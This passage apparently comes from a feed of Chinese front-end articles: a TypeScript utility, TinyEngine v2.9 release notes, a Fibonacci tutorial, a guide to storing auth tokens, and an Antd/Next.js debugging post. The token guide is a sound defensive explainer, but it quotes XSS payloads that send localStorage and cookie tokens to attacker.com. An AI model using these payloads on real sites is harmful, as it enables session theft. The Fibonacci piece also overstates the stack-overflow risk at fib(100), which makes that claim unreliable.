 * TypeScript 类型守卫工具
 */
export function assertNotNull<T>(
    value: T,
    message?: string,
    config?: NullCheckConfig
): asserts value is NonNullable<T> {
    if (isNull(value, config)) {
        throw new Error(message || 'Value is null or empty');
    }
}

export function ensureNotNull<T>(
    value: T,
    defaultValue: NonNullable<T>,
    config?: NullCheckConfig
): NonNullable<T> {
    return isNull(value, config) ? defaultValue : (value as NonNullable<T>);
}

// 为快捷方法添加配置参数支持
export function isNull(value: unknown, config?: NullCheckConfig): boolean {
    return checkNull('isNull', value, config);
}

export function isNotNull<T>(value: T, config?: NullCheckConfig): value is NonNullable<T> {
    return checkNull('isNotNull', value, config) as value is NonNullable<T>;
}

TinyEngine2.9版本发布:更智能,更灵活,更开放!

前言

TinyEngine 是一款面向未来的低代码引擎底座,致力于为开发者提供高度可定制的技术基础设施——不仅支持可视化页面搭建等核心能力,更可通过 CLI 工程化方式实现深度二次开发,帮助团队快速构建专属的低代码平台。

无论是资源编排、服务端渲染、模型驱动应用,还是移动端、大屏端、复杂页面编排场景,TinyEngine 都能灵活适配,成为你构建低代码体系的坚实基石。

最近我们正式发布 TinyEngine v2.9 版本,带来多项功能升级与体验优化,在增强平台智能化能力的同时,进一步降低配置复杂度,让“定制化”变得更简单、更高效。

本次版本迭代中,我们欣喜地看到越来越多开发者加入开源共建行列。特别感谢@fayching @LLDLLY 等社区伙伴积极参与功能贡献与问题反馈。正是这些点滴汇聚的力量,推动着 TinyEngine 不断前行。我们也诚挚邀请更多热爱技术、追求创新的朋友加入社区,一起打造更强大、更开放的低代码生态。

v2.9.0 变更特性概览

  • 【增强】全新版本AI助手,智能搭建能力升级
  • 【新特性】添加资源管理插件和资源选择配置器
  • 【增强】预览插件支持应用预览
  • 【增强】Tailwindcss支持
  • 【增强】支持静态数据源
  • 【增强】组件物料更新
  • 【增强】MCP工具更新
  • 【其他】功能细节优化与bug修复。

TinyEngine v2.9.0 新特性解读

1. 【增强】全新版本AI助手,智能搭建能力升级(体验版本)

在TinyEngine v2.9版本中,我们对AI搭建页面能力进行全新升级,下面是主要功能的介绍与快速上手:

1)全新 Agent 模式

新增的 Agent 模式支持自然语言或图片生成页面,借助AI大模型强大的能力,让您告别繁琐的手动拖拽,让 AI 辅助开发更加智能、强大。

  • 全新 Agent 智能搭建模式,自然语言描述需求,由AI直接返回页面Schema
  • 画布采用流式渲染,能够实时看到页面生成效果
  • 生成页面后支持继续对话二次修改,使用增量返回修改速度更快 1.gif
  • 支持上传设计图或手绘草图,AI 识别并还原为可编辑的页面(需要先选择视觉模型) 2.gif

2)基础能力升级

  • 现代化界面:全新的聊天界面,支持 Markdown 渲染、代码高亮
    全屏模式: 3.png
  • 会话管理:支持查看管理多个历史对话,自动保存历史记录思考模式:支持推理模型的深度思考,提供更准确的解决方案
  • 多模型支持:兼容各种OpenAI兼容格式 AI 模型,提供模型设置界面自由添加选择模型服务
  • 集成平台更多的MCP工具(Chat模式) 工具调用: 4.png

3)简单配置,快速上手

平台设置:

  • 设置模型服务: 

    支持通过AI插件的customCompatibleAIModels选项自定义添加OpenAI兼容格式大模型(使用MCP功能需要使用支持tools的大模型),建议使用DeepSeek R1/V3、Qwen3、Gemini等对视觉/工具支持良好的模型,优先使用满血模型、推理类型模型效果更好。

    // registry.js
    export default {
      // ......
      [META_APP.Robot]: {
        options: {
          // encryptServiceApiKey: false, // 是否加密服务API密钥, 默认为false
          // enableResourceContext: false, // 提示词上下文携带资源插件图片,默认true
          // enableRagContext: true, // 提示词上下文携带查询到的知识库内容,默认false
          customCompatibleAIModels: [{ // 自定义AI模型(OpenAI兼容格式模型), 下面以智谱模型服务为例
            provider: 'GLM',
            label: '智谱模型',
            baseUrl: 'https://open.bigmodel.cn/api/paas/v4',
            models: [
              {
                label: 'GLM视觉理解模型',
                name: 'glm-4.5v',
                capabilities: {
                  vision: true, // 是否支持视觉理解能力
                  reasoning: { extraBody: { enable: { thinking: { type: 'enabled' } }, disable: null } } // 是否支持深度思考及深度思考打开与关闭额外的body字段
                }
              },
              {
                label: 'GLM-4.5推理模型',
                name: 'glm-4.5',
                capabilities: {
                  toolCalling: true,
                  reasoning: { extraBody: { enable: { thinking: { type: 'enabled' } }, disable: null } }
                }
              }
            ]
          }]
        }
      }
      // ......
    }
    

    可以通过对接最新后端服务使用完整的AI插件能力,或者也可以在前端项目配置AI模型接口Proxy来使用, 这里以本地转发到百炼模型为例:

    // vite.config.js
    const originProxyConfig = baseConfig.server.proxy
    baseConfig.server.proxy = {
      '/app-center/api/chat/completions': {
        target: 'https://dashscope.aliyuncs.com',
        changeOrigin: true,
        rewrite: path => path.replace('/app-center/api/', '/compatible-mode/v1/'),
      },
      '/app-center/api/ai/chat': {
        target: 'https://dashscope.aliyuncs.com',
        changeOrigin: true,
        rewrite: path => path.replace('/app-center/api/ai/chat', '/compatible-mode/v1/chat/completions'),
      },
      ...originProxyConfig,
    }
    

    补充说明:截图生成UI能力由于依赖上传图片接口,需要启动后端服务,且需要使用支持视觉理解能力的模型,如qwen-vl系列模型  

  • 插件配置:

    在插件中也提供了对部分功能的自定义能力,包括是否启用加密API Key解决安全风险问题、是否使用知识库RAG能力提供额外的知识背景提升问答对话效果、是否允许使用资源管理插件中的图片等:

       // registry.js
    export default {
      [META_APP.Robot]: {
        options: {
          // encryptServiceApiKey: false, // 是否加密服务API密钥, 默认为false
          // enableResourceContext: false, // 提示词上下文携带资源插件图片,默认true
          // enableRagContext: true, // 提示词上下文携带查询到的知识库内容,默认false
          // modeImplementation: { // 支持通过注册表传入chat和agent模式的实现
          //   chat: useCustomChatMode
          //   agent: useCustomAgentMode
          // }
        }
      }
    }
    

 

用户设置:

  • 配置服务与密钥:在设置面板编辑内置服务添加API Key或者添加自定义的模型服务 5.gif
  • 选择模型:可以从内置百炼、DeepSeek 或者自定义的模型服务中选择模型(图片生成UI需要多模态模型,MCP工具调用需要支持工具调用模型)
  • 开始使用:在输入框输入问题或者上传图片问答,同时可以自由切换 Agent/Chat 模式,配置MCP工具,开启深度思考等,从智能搭建到深度辅助,全方位提升您的开发效率。快来体验,释放您的创造力!

2.【新特性】添加资源管理插件和资源选择配置器

在应用开发中,通常会需要引用图片等资源,资源管理插件主要满足这类场景需求,可以上传项目中用到的静态资源,在编排页面或AI生成页面时引用(当前仅支持图片格式附件)。

2.1 资源管理

1)资源分组:资源管理插件通过分组管理资源,上传资源之前需要先创建分组,可以为不同场景的静态资源进行分组,比如基础图标库,或者也可以按模块分类 6.png 创建好分组后,点击分组名可以管理当前资源分组 7.png

2)添加资源
添加资源分为两种方式,输入URL和名称添加网络资源,上传图片或图标资源。 其中资源名称必填,通过url添加的话url也必填,如果是上传的,则不能输入url,支持上传png、jpg、svg文件,支持批量上传 8.png

3)修改资源
已添加资源的管理,hover时显示名称,操作包括复制和删除,复制是复制添加完成后在用户服务器上的url地址 9.png 也支持批量操作,点击批量操作后,出现删除图标(后续还会扩展其他批量操作),且资源变为可多选的状态 10.png

 

2.2 资源使用

1)在画布中使用

可以通过图片组件使用资源,选中图片组件后在图片的属性设置处,点击选择资源可以设置为资源管理中的图片

效果

11.png

2)在AI插件中使用

在AI插件Agent模式生成页面时,页面中经常会需要使用到图片资源,AI无法直接生成这些图片,默认会将当前资源管理插件的图片作为备用资源引入使用(仅使用带有描述介绍的图片)。例如“生成登录页面”自动引用背景图与Logo:

12.png

如果不希望在AI助手插件中使用,可以通过修改注册表关闭

// registry.js
export default {
  [META_APP.Robot]: {
    options: {
      enableResourceContext: false, // 提示词上下文携带资源插件图片,默认true
    }
  }
}

3. 【增强】预览插件支持应用预览

在之前的预览插件中只能够实现单页面的预览,对于需要在多个页面中交互跳转的场景无法满足。
在v2.9 版本中,TinyEngine支持了应用的全局预览,能够预览完整项目的效果,并且支持手动路由切换,也能够在调试模式下查看整个应用的源码。 1)入口:

工具栏的预览图标进行了调整,直接点击图标与之前逻辑一致为页面预览,点击后面的箭头可打开下拉列表,可以选择应用预览

13.png

2)预览效果

打开预览页面后,可以看到应用预览与页面预览相比添加了路由切换栏,可以选择路由进行切换。

14.png

4. 【增强】Tailwindcss支持

Tailwind CSS 是一种实用优先的 CSS 框架,提供丰富的原子类,如 text-centerp-4bg-blue-500 等,可快速构建定制化、响应式界面。

低代码平台支持 Tailwind 后,用户在可视化搭建的同时,能直接通过类名精细控制样式,无需编写或配置大量样式即可实现高效美观的前端开发,提升灵活性与开发速度。

在v2.9以上版本,已默认支持Tailwind CSS框架。

 启用后的行为

  • 设计态:画布支持直接加载Tailwind样式类

  • 预览态:自动按需加载  @tailwindcss/browser,使画布/预览中可直接使用 Tailwind 原子类。

  • 出码生成:生成的应用将自动完成以下配置(基于 Tailwind CSS v4 零配置方案):

    • 在依赖中添加  tailwindcss,并在开发依赖中添加  @tailwindcss/vite
    • 在 Vite 配置中注册  tailwindcss()  插件;
    • 生成  src/style.css,内容包含  @import "tailwindcss";
    • 在  src/main.js 自动引入  ./style.css

以上步骤由引擎/出码器自动完成,无需手动干预。

效果

选中节点后在属性配置面板样式类中直接填写Tailwind样式类名,即可看到画布Tailwind样式生效:

15.png

关闭 Tailwind

可以通过注册表关闭Tailwind功能:

// registry.js
export default {
  'engine.config': {
    // ...其他配置
    enableTailwindCSS: true, // 开启(默认即为 true);设为 false 可关闭
  },
};

当配置为 enableTailwindCSS: false 时:

  • 预览态不会加载  @tailwindcss/browser
  • 出码时不会注入与 Tailwind 相关的依赖、Vite 插件及样式文件导入。

注意事项

  • 预览依赖解析:内置 import-map 已包含 @tailwindcss/browser 映射;如使用自定义 CDN/离线环境,请确保该映射可用。
  • 自定义样式:可在生成的 src/style.css 中追加自定义样式,或在项目中新增样式文件后自行引入。
  • 运行时渲染:如果您自定义了运行时渲染引擎,请确保在运行时渲染中增加对 Tailwind CSS 的支持。

5.【增强】支持静态数据源

设计器提供数据源来配合画布上的组件/区块渲染,之前版本只支持采取远程API请求JSON数据动态获取的方式,自TinyEngine v2.9+版本开始,支持静态数据源配置。

使用步骤

1)创建数据源,数据源类型选择静态数据源,配置数据源名称以及数据源字段,根据配置的数据源字段新增静态数据。

16.gif

2)使用数据源Mock数据(数据源使用方式与远程数据源相同)

17.gif

6.【增强】组件物料更新

  • 修改路由选择配置器,添加标签栏配置器和导航组件

拖拽一个导航条组件到画布,可以更改导航条为横向或者纵向,导航菜单项支持增删改,菜单项支持配置跳转页面

18.gif

  • 更新物料Icon(设计稿换新风格后,原物料图标跟页面风格不匹配,更换所有的物料图标)

  • 添加TinyVue图表组件

物料面板新增TinyVue图表组件,主要包括折线图、柱状图、条形图、圆盘图、环形图、雷达图、瀑布图、漏斗图、散点图 等

19.png

  • 添加TinyVue基础组件

  • 表单类型中新增单选组、评分、滑块、级联选择器 组件

20.png

  • 数据展示中新增骨架屏、卡片、日历、进度条、标记、标签、统计数值 组件

21.png

  • 导航类型中新增步骤条和树形菜单组件

22.png

7. 【增强】MCP工具更新

AI 助手除了新增的搭建模式,原有的对话模式也进行了增强,增加了若干个插件的 mcp 工具:

  • 国际化(i18n) 相关 mcp 工具
  • 应用状态、页面状态相关 mcp 工具
  • 页面增删查改工具
  • 节点操作相关 mcp 工具(节点选中、属性修改、增删节点等等)

如何使用

当前可以升级到 v2.9 版本,切换到 chat 模式,即可在对话中使用MCP工具,AI会自动调用相应工具。用户也可以手动点击关闭某个 mcp 工具。

示例图: 23.png

二次开发 TinyEngine 时,如何修改/添加/删除 mcp 工具?

当前 mcp 工具都默认随着插件的注册表导出(因为依赖插件的相关能力),所以如果需要修改/添加/删除 mcp 工具,修改注册表即可。

默认的插件注册表导出:

// mcp 工具 mcp/index.js
export const mcp = {
  tools: [getGlobalState, addOrModifyGlobalState, deleteGlobalState]
}


// 插件注册表导出 index.js
export default {
  ...metaData,
  entry,
  metas: [globalStateService],
  // mcp 的相关导出
  mcp
}

在二次开发工程中修改/添加 mcp 工具,同自定义注册表,请参考注册表相关文档

未来优化

  • 添加、调优 mcp 工具
  • 添加 chat 模式的系统提示词,让 AI 工具调用效果更好

8. 【其他】功能细节优化&bug修复

以上是此次更新的主要内容

如需了解更多可以查看:v2.9.0 所有 changelog

结语

TinyEngine v2.9 的发布,不仅是功能层面的一次全面跃迁——从 AI 助手的能力增强、Tailwind CSS 的原生支持,到资源管理插件的引入、应用预览能力的落地——更是我们对“极致可定制”理念的又一次深化实践。每一个细节的打磨,每一次架构的演进,都旨在让开发者以更低的成本、更高的自由度,构建真正属于自己的低代码世界。

这不仅仅是一个版本的更新,更是社区共建成就的见证。我们相信,开源的意义不仅在于代码共享,更在于思想碰撞与协作共创。正是每一位用户的使用、反馈与贡献,让 TinyEngine 在真实场景中不断淬炼成长。

未来之路,我们继续同行。 欢迎你持续关注 TinyEngine 的演进,参与社区讨论,提交你的想法与代码。让我们携手,把低代码的可能性推向更远的地方。

关于OpenTiny

欢迎加入 OpenTiny 开源社区。添加微信小助手:opentiny-official 一起参与交流前端技术~

OpenTiny 官网:opentiny.design
OpenTiny 代码仓库:github.com/opentiny
TinyVue 源码:github.com/opentiny/ti…
TinyEngine 源码: github.com/opentiny/ti…
欢迎进入代码仓库 Star🌟TinyEngine、TinyVue、TinyNG、TinyCLI、TinyEditor~ 如果你也想要共建,可以进入代码仓库,找到 good first issue 标签,一起参与开源贡献~

斐波那契数列:从递归到优化的完整指南

斐波那契数列是算法学习中的经典案例,也是前端面试中的高频考点。本文将从基础递归实现开始,逐步优化,带你深入理解递归、缓存、闭包等核心概念。

什么是斐波那契数列?

斐波那契数列是一个从 0 和 1 开始,后续每一项都等于前面两项之和的整数序列。

数学定义:

f(0) = 0
f(1) = 1
f(n) = f(n-1) + f(n-2)  (n ≥ 2)

方法一:基础递归实现

代码实现

// 递归
// 时间复杂度 O(2^n)
function fib(n) {
    // 退出条件,若没有会爆栈
    if(n <= 1) return n;
    return fib(n-1) + fib(n-2);
}

console.log(fib(10));  // 55

核心思想

递归的本质:

  • 大的问题可以分解为多个小的问题(类似)
  • 自顶向下,思路清晰,代码简洁
  • 靠函数入栈来实现,调用栈会占用栈内存

时间复杂度分析

O(2^n) - 指数级时间复杂度

为什么是指数级?

                fib(5)
               /      \
          fib(4)      fib(3)
          /    \      /    \
     fib(3) fib(2) fib(2) fib(1)
     /   \   /  \   /  \
fib(2) fib(1) ...

可以看到,fib(3) 被计算了多次,fib(2) 被计算了更多次。每一层都会产生两个子问题,所以总的时间复杂度是指数级的。

问题分析

  1. 重复计算:同一个值被计算多次

    • fib(3) 在计算 fib(5) 时被计算了 2 次
    • fib(2) 被计算了 3 次
    • fib(1) 被计算了 5 次
  2. 栈溢出风险:当 n 较大时,调用栈过深会导致爆栈

    fib(100);  // 可能会栈溢出
    
  3. 性能问题:计算 fib(40) 就需要几秒钟,fib(50) 可能需要几分钟


方法二:缓存优化(记忆化)

代码实现

const cache = {};   // 用空间换时间

function fib(n) {
    // 如果已经计算过,直接从缓存中取
    if(n in cache) {
        return cache[n];
    }
    
    // 基础情况
    if(n <= 1) {
        cache[n] = n;
        return n;
    }
    
    // 计算并缓存结果
    const result = fib(n-1) + fib(n-2);
    cache[n] = result;
    return result;
}

console.log(fib(100));  // 354224848179262000000

优化原理

核心思想:用空间换时间

  1. 缓存已计算的结果:使用 cache 对象存储已经计算过的值
  2. 避免重复计算:如果计算过,直接在缓存中取,不用入栈那么多函数
  3. 时间复杂度优化:从 O(2^n) 降低到 O(n)

时间复杂度分析

O(n) - 线性时间复杂度

每个 fib(i) 只计算一次,然后存储在缓存中。后续需要时直接从缓存读取。

空间复杂度

O(n) - 需要存储 n 个计算结果

存在的问题

  1. 全局变量污染cache 是全局变量,可能被其他代码修改
  2. 封装性差:缓存逻辑暴露在外部
  3. 无法重置:一旦计算过,缓存会一直存在

方法三:闭包封装(推荐)

代码实现

// cache 闭合到函数中?
const fib = (function() {
    // 闭包
    // IIFE (Immediately Invoked Function Expression)
    const cache = {};
    
    return function(n) {
        // 如果缓存中有,直接返回
        if(n in cache) {
            return cache[n];
        }
        
        // 基础情况
        if (n <= 1) {
            cache[n] = n;
            return n;
        }
        
        // 递归计算并缓存
        cache[n] = fib(n-1) + fib(n-2);
        return cache[n];
    }
})()

console.log(fib(100));  // 354224848179262000000

核心概念解析

1. 闭包(Closure)

什么是闭包?

  • 函数可以访问其外部作用域的变量
  • 即使外部函数执行完毕,内部函数仍然可以访问外部变量

在这个例子中:

  • cache 是外部函数的局部变量
  • 返回的内部函数可以访问 cache
  • 即使外部函数执行完毕,cache 仍然存在

2. IIFE(立即执行函数表达式)

IIFE 的作用:

  • 创建一个独立的作用域
  • 避免全局变量污染
  • 封装私有变量

语法:

(function() {
    // 代码
})()

优势分析

封装性好cache 是私有变量,外部无法访问
避免污染:不会创建全局变量
代码优雅:使用闭包和 IIFE,符合函数式编程思想
性能优秀:时间复杂度 O(n),空间复杂度 O(n)


方法四:迭代实现(最优解)

代码实现

function fib(n) {
    if(n <= 1) return n;
    
    let prev = 0;  // f(0)
    let curr = 1;  // f(1)
    
    // 从 f(2) 开始计算到 f(n)
    for(let i = 2; i <= n; i++) {
        const next = prev + curr;
        prev = curr;
        curr = next;
    }
    
    return curr;
}

console.log(fib(100));  // 354224848179262000000

优势

时间复杂度:O(n) - 线性时间
空间复杂度:O(1) - 只使用常数空间
不会栈溢出:不使用递归,不会出现调用栈过深的问题
性能最优:比递归方法更快,内存占用更少

对比分析

方法 时间复杂度 空间复杂度 栈溢出风险 代码复杂度
基础递归 O(2^n) O(n)
缓存递归 O(n) O(n)
闭包递归 O(n) O(n)
迭代 O(n) O(1)

实际应用场景

1. 前端性能优化

在需要频繁计算斐波那契数的场景(如动画、游戏),使用缓存或迭代方法可以显著提升性能。

2. 算法面试

斐波那契数列是算法面试中的经典题目,考察点包括:

  • 递归思想
  • 时间复杂度分析
  • 优化能力
  • 闭包理解

3. 动态规划入门

斐波那契数列是理解动态规划(DP)的绝佳例子:

  • 重叠子问题
  • 最优子结构
  • 状态转移方程

4. 前端动画

在某些动画效果中,可以使用斐波那契数列来创建自然的缓动效果。


总结

从朴素递归到记忆化缓存,从闭包封装到迭代优化,斐波那契数列看似简单,却像一面镜子,映照出编程思维的演进路径:从“能跑就行”到“优雅高效”

  • 递归 教会我们如何将复杂问题分解,但也暴露了重复计算与栈溢出的隐患;
  • 记忆化 引入“空间换时间”的经典策略,是动态规划思想的雏形;
  • 闭包 + IIFE 展示了 JavaScript 的函数式魅力,在性能与封装之间取得平衡;
  • 迭代解法 则回归本质——用最朴素的循环,实现最优的时间与空间复杂度。

这不仅是一道面试题,更是一次对算法思维、语言特性与工程实践的综合演练。在前端日益复杂的今天,理解这些底层逻辑,才能写出既健壮又高效的代码。

真正的优化,不在于炫技,而在于在正确的地方,选择最合适的解法。


记住:算法学习不是死记硬背,而是理解思想,灵活运用! 🚀

面试官最爱挖的坑:用户 Token 到底该存哪?

面试官问:"用户 token 应该存在哪?"

很多人脱口而出:localStorage。

这个回答不能说错,但远称不上好答案

一个好答案,至少要说清三件事:

  • 有哪些常见存储方式,它们的优缺点是什么
  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。


三种存储方式,一张图看懂差异

前端存 token,主流就三种:

flowchart LR
    subgraph 存储方式
        A[localStorage]
        B[普通 Cookie]
        C[HttpOnly Cookie]
    end

    subgraph 安全特性
        D[XSS 可读取]
        E[CSRF 会发送]
    end

    A -->|是| D
    A -->|否| E
    B -->|是| D
    B -->|是| E
    C -->|否| D
    C -->|是| E

    style A fill:#f8d7da,stroke:#dc3545
    style B fill:#f8d7da,stroke:#dc3545
    style C fill:#d4edda,stroke:#28a745
存储方式 XSS 能读到吗 CSRF 会自动带吗 推荐程度
localStorage 不会 不推荐存敏感数据
普通 Cookie 不推荐
HttpOnly Cookie 不能 推荐

localStorage:用得最多,但也最容易出事

大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:

// 登录成功后
localStorage.setItem('token', response.accessToken);

// 请求时取出来
const token = localStorage.getItem('token');
fetch('/api/user', {
  headers: { Authorization: `Bearer ${token}` }
});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:

// 攻击者注入的脚本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想:"我的代码没有 XSS 漏洞。"

现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。


普通 Cookie:XSS 能读,CSRF 还会自动带

有人会往 Cookie 上靠拢:"那我存 Cookie 里,是不是就更安全了?"

如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:

// 设置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻击者同样能读到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能读,CSRF 还会自动带上——两头不讨好


HttpOnly Cookie:让 XSS 偷不走 Token

真正值得推荐的,是 HttpOnly Cookie

它的核心优势只有一句话:JavaScript 读不到

// 后端设置(Node.js 示例)
res.cookie('access_token', token, {
  httpOnly: true,    // JS 访问不到
  secure: true,      // 只在 HTTPS 发送
  sameSite: 'lax',   // 防 CSRF
  maxAge: 3600000    // 1 小时过期
});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求,浏览器自动带上 Cookie
fetch('/api/user', {
  credentials: 'include'
});

// 攻击者的 XSS 脚本
document.cookie  // 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代价:需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF

因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:

sequenceDiagram
    participant 用户
    participant 银行网站
    participant 恶意网站

    用户->>银行网站: 1. 登录,获得 HttpOnly Cookie
    用户->>恶意网站: 2. 访问恶意网站
    恶意网站->>用户: 3. 页面包含隐藏表单
    用户->>银行网站: 4. 浏览器自动发送请求(带 Cookie)
    银行网站->>银行网站: 5. Cookie 有效,执行转账
    Note over 用户: 用户完全不知情

好消息是:CSRF 比 XSS 容易防得多

SameSite 属性

最简单的一步,就是在设置 Cookie 时加上 sameSite

res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // 关键配置
});

sameSite 有三个值:

  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
  • none:都带,但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更严格)

如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:

// 后端生成 Token,放到页面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);  // 这个不用 httpOnly,前端需要读

// 前端请求时带上
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
  },
  credentials: 'include'
});

// 后端验证
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
  return res.status(403).send('CSRF token mismatch');
}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。


核心对比:为什么宁愿多做 CSRF,也要堵死 XSS

这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广

  • 用户输入渲染(评论、搜索、URL 参数)
  • 第三方脚本(广告、统计、CDN)
  • 富文本编辑器
  • Markdown 渲染
  • JSON 数据直接插入 HTML

代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。

CSRF 防护相对简单、手段统一

  • sameSite: lax 一行配置搞定大部分场景
  • 需要更严格就加 CSRF Token
  • 攻击面有限,主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护


真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie

从 localStorage 迁移到 HttpOnly Cookie,需要前后端一起动手,但改造范围其实不大。

后端改动

登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:

// 改造前
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.json({ accessToken: token });
});

// 改造后
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.cookie('access_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 3600000
  });
  res.json({ success: true });
});

前端改动

前端请求时不再手动带 token,而是改成 credentials: 'include'

// 改造前
fetch('/api/user', {
  headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造后
fetch('/api/user', {
  credentials: 'include'
});

如果用 axios,可以全局配置:

axios.defaults.withCredentials = true;

登出处理

登出时,后端清除 Cookie:

app.post('/api/logout', (req, res) => {
  res.clearCookie('access_token');
  res.json({ success: true });
});

如果暂时做不到 HttpOnly Cookie,可以怎么降风险

有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:

  1. 严格防 XSS

    • textContent 代替 innerHTML
    • 用户输入必须转义
    • 配置 CSP 头
    • 富文本用 DOMPurify 过滤
  2. Token 过期时间要短

    • Access Token 15-30 分钟过期
    • 配合 Refresh Token 机制
  3. 敏感操作二次验证

    • 转账、改密码等操作,要求输入密码或短信验证
  4. 监控异常行为

    • 同一账号多地登录告警
    • Token 使用频率异常告警

面试怎么答

回到开头的问题,面试怎么答?

简洁版(30 秒):

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。

完整版(1-2 分钟):

Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。

推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。

加分项(如果面试官追问):

  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估

如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:

Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章):

全栈项目(适合学习现代技术栈):

  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB

Antd5.x 在 Next.js14.x 项目中,初次渲染样式丢失

问题

因为之前 Next 和 React 接连出现安全问题,于是把博客的依赖升级了一下,没想到就搞出问题了,如下图所示:

QQ截图20251215164248.jpg

初次渲染时样式丢失,在客户端上会短暂展示 Antd 组件无样式界面,出现样式闪烁的情况。项目是 Next 14,React 18 的 App Router 项目,依赖版本:"@ant-design/nextjs-registry": "^1.3.0""antd": "^5.14.2"

解决思路

因为 Antd 是 CSS-in-js 的 UI 库,按照官方文档呢,我们需要一个 @ant-design/nextjs-registry 包裹整个页面,在 SSR 时收集所有组件的样式,并且通过 <script> 标签在客户端首次渲染时带上。

// src/app/layout.tsx

import { AntdRegistry } from '@ant-design/nextjs-registry'

export default async function RootLayout({
  children
}: Readonly<{
  children: React.ReactNode
}>) {
  return (
    <html lang="en">
      <head>
        {/* ... */}
      </head>
      <body>
        <AntdRegistry>
          {/* ... 假装这是页面代码 */}
        </AntdRegistry>
      </body>
    </html>
  )
}

对照了一下官方文档也问了下 AI,没发现我的写法有什么问题。就在这个时候,我猛然间看见了 Antd 的 Pages Router 使用的注意事项:

image.png

我寻思,可能我遇到的情况和这里一样,是内部依赖版本 @ant-design/cssinj 不对引起的。

输入 npm ls @ant-design/cssinjs 看了一下,

├─┬ @ant-design/nextjs-registry@1.3.0
│ └── @ant-design/cssinjs@2.0.1
└─┬ antd@5.14.2
  └── @ant-design/cssinjs@1.24.0 deduped

@ant-design/nextjs-registry 内部也使用了 @ant-design/cssinjs,而且它的版本和 antd 内置版本还不一样,这就是问题的所在了。

接下来把 @ant-design/nextjs-registry 的版本降到了 1.2.0,这时候版本对上了,bug 也就修复了。

├─┬ @ant-design/nextjs-registry@1.2.0
│ └── @ant-design/cssinjs@1.24.0
└─┬ antd@5.14.2
  └── @ant-design/cssinjs@1.24.0 deduped

@ant-design/nextjs-registry 的内部发生了什么

AntdRegistry

这勾起了我的好奇心,就让我们来看看 @ant-design/nextjs-registry 干了些什么:

github.com/ant-design/…

// /src/AntdRegistry.tsx
'use client';

import type { StyleProviderProps } from '@ant-design/cssinjs';
import type { FC } from 'react';
import { createCache, extractStyle, StyleProvider } from '@ant-design/cssinjs';
